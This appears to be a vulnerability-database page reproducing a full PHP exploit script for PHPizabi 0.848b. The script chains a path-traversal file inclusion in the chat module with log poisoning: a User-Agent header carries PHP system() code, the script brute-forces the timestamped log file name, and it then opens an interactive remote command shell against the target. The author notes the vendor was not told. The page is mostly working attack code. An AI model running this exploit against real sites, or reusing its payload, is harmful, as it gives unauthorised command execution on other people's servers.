Lucene search
K

PHPizabi 0.848b C1 HFP1-3 - Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 8901 Views

PHPizabi 0.848b C1 HFP1-3 - Remote Command Execution Exploit. This security vulnerability allows remote command execution using an LFI and log file pollution via the User-Agent string without the need for register_globals

Related
Code
ReporterTitlePublishedViews
Family
0day.today
PHPizabi v0.848b C1 HFP1-3 Remote Command Execution Exploit
23 Mar 200900:00
zdt
Circl
CVE-2008-3239
16 Jul 200800:00
circl
CVE
CVE-2008-3239
21 Jul 200816:00
cve
Cvelist
CVE-2008-3239
21 Jul 200816:00
cvelist
Exploit DB
PHPizabi 0.848b C1 HFP1-3 - Remote Command Execution
23 Mar 200900:00
exploitdb
EUVD
EUVD-2008-3227
7 Oct 202500:30
euvd
exploitpack
PHPizabi 0.848b C1 HFP1-3 - Remote Command Execution
23 Mar 200900:00
exploitpack
NVD
CVE-2008-3239
21 Jul 200816:41
nvd
Packet Storm
PHPizabi 0.848b C1 HFP1-3 Command Execution
24 Mar 200900:00
packetstorm
Prion
Unrestricted file upload
21 Jul 200816:41
prion
Rows per page

                                                #!/usr/bin/php
<?php
/* Found this after getting my inet back and noticing this http://www.milw0rm.com/exploits/6085 .  The only problem with the 
remote command execution there is that it actually requires register_globals = on.  I saw the GLOBAL keyword, and actually 
believed this populated those varibles some other way such as cookies or something ie register globals isnt needed.  
Anyway, while getting back into the code i found a nice LFI and put this together.  Remote command execuation using an 
lfi and log file pollution using the User-Agent string.  This works with register_globals = off and php 5.

To quote phpizabi homepage on the first command execution exploit:

A security vulnerability recently discovered in PHPizabi originally reported by a local administrator has been confirmed and published by the National Vulnerability Database service of the National Institute of Standards and Technology (NIST) and the DHS National Cyber Security Division (US-CERT) in the National Cyber-Alert CVE-2008-3239 . Due to the great visibility of the NVD/NIST portal which disclosed this information, there have been a number of attacks against PHPizabi websites.
Tough we do not intend to release a security fix for this issue at this time, we want to remind our users of the importance of disabling the "REGISTER_GLOBALS" option of their system. This option will not only enable this vulnerability to be exploited but will also open multiple breaches into your system. Note that if your system is configured properly (with "REGISTER_GLOBALS" disabled), this vulnerability does not apply to your website.
Please read through the documentation at PHP.Net to check if your system is configured properly. Contact your system administrator to take appropriate actions in order to void this vulnerability if your system has the "REGISTER_GLOBALS" option enabled.
This vulnerability affects all versions of PHPizabi 0.8 to HFP3 SF1 (included). There is no security fix pack release planned at this time.

Funny those guys never even responded to or acknowledged my database information disclosure from here: 
http://www.milw0rm.com/exploits/5506 which is just as serious IMO as command execution, because anyone good will get there anyway ;).
Anyway, time to totally destroy their hopes of an easy "cut off register_globals" fix.  Wanted to add i did NOT 
let the vendor know of this one before hand, last time i gave them 48+ hours and still to this day havent recieved 
even a response from them.  If i have the time to waste look for a c port to this soon.  My C is bad =/.  */

#vulnerable code   modules/chat/dac.php
#
#	function handleSendChatData($data) {
#		if (substr($data, 0, 1) == "/") return $this -> handleChatCommand($data, $this -> channel);     # This line right here says if the string
#														# begins with / it is a command so treat
#														# as one and call handleChatCommand
#
#
#
#       function handleChatCommand($data, $channel) {
#			/* /! is a call to the last called command ... handle it */
#			if (substr($data, 1, 1) == "!" and isset($_SESSION["triton"]["lastcommand"]))
#				$data = $_SESSION["triton"]["lastcommand"];
#
#			/* Convert illegal character entities */
#			$entities = array(";"=>"&#059;", "\""=>""", "'"=>"'", "<"=>"<", ">"=>">", "\\"=>"\", "^"=>"^");
#			$data = strtr(stripslashes($data), $entities);
#
#			$commandArgs = explode(" ", substr($data, 1));                                                              # commandArgs is set using data which hasnt sanitized.
#			if (is_file("commands/".$commandArgs[0].".php") and @include("commands/".$commandArgs[0].".php")) {         # commands are stored in their own files and included each call to them.
#				$_SESSION["triton"]["lastcommand"] = $data;
#				t_command::runCommand($commandArgs, $channel);
#			}
#			else $this -> localEcho('ERR_NOCOMMAND', array($commandArgs[0]));
#		} */
#
#
#	So the lfi works by calling PATH/modules/chat/dac.php?sendChatData=/../../../PATHTOFILETOINCLUDE\0
#	since phpizabi strips images of all comments when uploaded, had to get creative to get this to work :)
#	i handled this by noticing that phpizabi logs the user-agent of each request in PATH/system/cache/logs.
#	That means by specifying a user-agent with phptags in it i can get my lfi to work nicely.
#	The only problem is that those log files are named based on a unix timestamp, and they update every 24 hours.
#	To deal with this, a request is made to the server to get the Date: header response, and this is converted to
#	a unix timestamp, and then it is walked by the hour 36 hours back, then 36 hours forward one hour at a time.
#	the phpcode echos a string when you have hit the proper log file, this tells us that it has found what is needed.
#
#	I am not responsible for the use of this code in any way shape or form.  Whatever you choose to do
#	with it is on you. Enjoy :)
#
#	comments, criticism should be emailed to [email protected] .   Got problems? Email them to [email protected] but dont expect a response. ;)


function usage()
{
	$usage="_________________________________________________________________\n\n";
	$usage.="	PHPizabi v0.848b C1 HFP1-3 Remote Command Execution 	  \n";
	$usage.="		by youcode	[email protected]		  \n";
	$usage.="_________________________________________________________________\n";
	$usage.="Usage: \n\n";
	$usage.=basename($_SERVER['PHP_SELF'])." HOST PATH  \n\n";
	$usage.="	HOST		remote host\n";
	$usage.="	PATH		path to phpizabi\n";
	die($usage);
}

function timestampStr($host,$path,$port=80)
{
	$packet="GET ".$path."index.php HTTP/1.0\r\n";
	$packet.="User-Agent: phpinj 0.1 <?php if(!isset(\$_GET['xyz']))die(\"FindThisTag-9203842398\");system(\$_GET['xyz']);die(); ?>\r\n";
	if(80==$port)
	{
		$packet.="Host: ".$host."\r\n";
	}else{
		$packet.="Host: ".$host.":".$port."\r\n";
	}
	$packet.="Connection: Close\r\n\r\n";
	$tmphostarr=gethostbynamel($host);
	if($tmphostarr===FALSE)
	{
		die("Failed to resolve hostname $host.\n");
	}
	$packetsent=0;
	foreach ($tmphostarr as $host)
	{
		$ock=fsockopen($host,$port);
		if(!$ock)
		{
			fclose($ock);
			continue;
		}
		fputs($ock,$packet);
		$packetsent=1;
		$response="";
		while (!feof($ock))
		{
			$response.=fgets($ock);
		}
		fclose($ock);
		if($packetsent)
			break;
	}
	if(!$packetsent)
		die("Failed to connect to $host.\nError: ".socket_strerror(socket_last_error($ock))."\n");
	$datePos=strpos($response,"Date:");
	$datePos+=6;
	$tmpbreakPos=strpos($response,"\r\n",$datePos);
	$breakPos=$tmpbreakPos-$datePos;
	$dateStr=substr($response,$datePos,$breakPos);
	$dateArr=explode(" ",$dateStr);
	$months = array ( "Jan" => 1, "Feb" => 2, "Mar" => 3, "Apr" => 4, "May" => 5, "Jun" => 6, "Jul" => 7, "Aug" => 8, "Sep" => 9, "Oct" => 10, "Nov" => 11, "Dec" => 12 );
	foreach($months as $key => $val){
		if(stripos($dateArr[2],$key)!==FALSE)
			$monthNumber=$val;
	}
	$tmphourArr=explode(":",$dateStr);
	if(is_array($tmphourArr))
	{
		$hour=substr($tmphourArr[0],-2,2);
		$timestampStr=mktime($hour,0,0,$monthNumber,$dateArr[1],$dateArr[3]);
	}else{
		$timestampStr=mktime();
	}
	return $timestampStr;
}

function findfilename($host,$path,$start,$mode=0,$port=80)
{
	$date=$start;
	$foundtag=0;
	$tmphostarr=gethostbynamel($host);
	if($tmphostarr===FALSE)
	{
		die("Failed to resolve hostname $host.\n");
	}
	for($i=0;$i<=36;$i++)
	{
		$packet="GET ".$path."modules/chat/dac.php?sendChatData=/../../../system/cache/logs/".$date.".log\\0 HTTP/1.0\r\n";
		$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
		if(80==$port)
		{
			$packet.="Host: ".$host."\r\n";
		}else{
			$packet.="Host: ".$host.":".$port."\r\n";
		}
		$packet.="Connection: Close\r\n\r\n";
		$packetsent=0;
		foreach ($tmphostarr as $remotehost)
		{
			$ock=fsockopen($remotehost,$port);
			if(!$ock)
			{
				fclose($ock);
				continue;
			}
			fputs($ock,$packet);
			$packetsent=1;
			$response="";
			while (!feof($ock))
			{
				$response.=fgets($ock);
			}
			fclose($ock);
			if($packetsent)
				break;
		}
		if(!$packetsent)
			die("Failed to connect to $host.\nError: ".socket_strerror(socket_last_error($ock))."\n");
		if((strpos($response,"FindThisTag-9203842398"))!==FALSE)
		{
			$foundtag=1;
			break;
		}
		if($mode==0)
		{
			$date-=3600;
		}else{
			$date+=3600;
		}
	}
	if($foundtag)
	{
		return $date;
	}else{
		return FALSE;
	}
}


if($argc < 3)
	usage();
$hoststring=$argv[1];
$path=$argv[2];
$date=timestampStr($hoststring,$path);
echo "timestamp is $date.  Using this as start point and attempting to locate log file.\n";
$remotelog=findfilename($hoststring,$path,$date);
if(!$remotelog)
	$remotelog=findfilename($hoststring,$path,$date,1);
if(!$remotelog)
	die("Failed to find the log file name.  Cant include a file that cant be found :(\n");
echo "Found log file: $remotelog.log\nBeginning command execution. . .\n";
$tmpportarr=explode(":",$hoststring);
if(isset($tmpportarr[1]))
{
	$hoststring=$tmpportarr[0];
	$remoteport=$tmpportarr[1];
}else{
	$remoteport=80;
}
$tmphostarr=gethostbynamel($hoststring);
if($tmphostarr===FALSE)
{
	die("Failed to resolve hostname $hoststring.\n");
}
for(;;)
{
	echo "#> ";
	$cmd=urlencode(fgets(STDIN));
	$packet="GET ".$path."modules/chat/dac.php?sendChatData=/../../../system/cache/logs/".$remotelog.".log\\0&xyz=".$cmd." HTTP/1.0\r\n";
	$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
	if(80==$remoteport)
	{
		$packet.="Host: ".$hoststring."\r\n";
	}else{
		$packet.="Host: ".$hoststring.":".$remoteport."\r\n";
	}
	$packet.="Connection: Close\r\n\r\n";
	$packetsent=0;
	foreach ($tmphostarr as $remotehost)
	{
		$ock=fsockopen($remotehost,$remoteport);
		if(!$ock)
		{
			fclose($ock);
			continue;
		}
		fputs($ock,$packet);
		$packetsent=1;
		$response="";
		while (!feof($ock))
		{
			$response.=fgets($ock);
		}
		fclose($ock);
		if($packetsent)
			break;
	}
	if(!$packetsent)
	{
		echo "Failed to connect to $hoststring.\nError: ".socket_strerror(socket_last_error($ock))."\n";
		break;
	}
	$cmdOutput=strstr($response,"phpinj 0.1 ");
	$cmdOutput=str_replace("phpinj 0.1 ","",$cmdOutput);
	echo "\n\n$cmdOutput\n\n";
}

?>

# milw0rm.com [2009-03-23]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation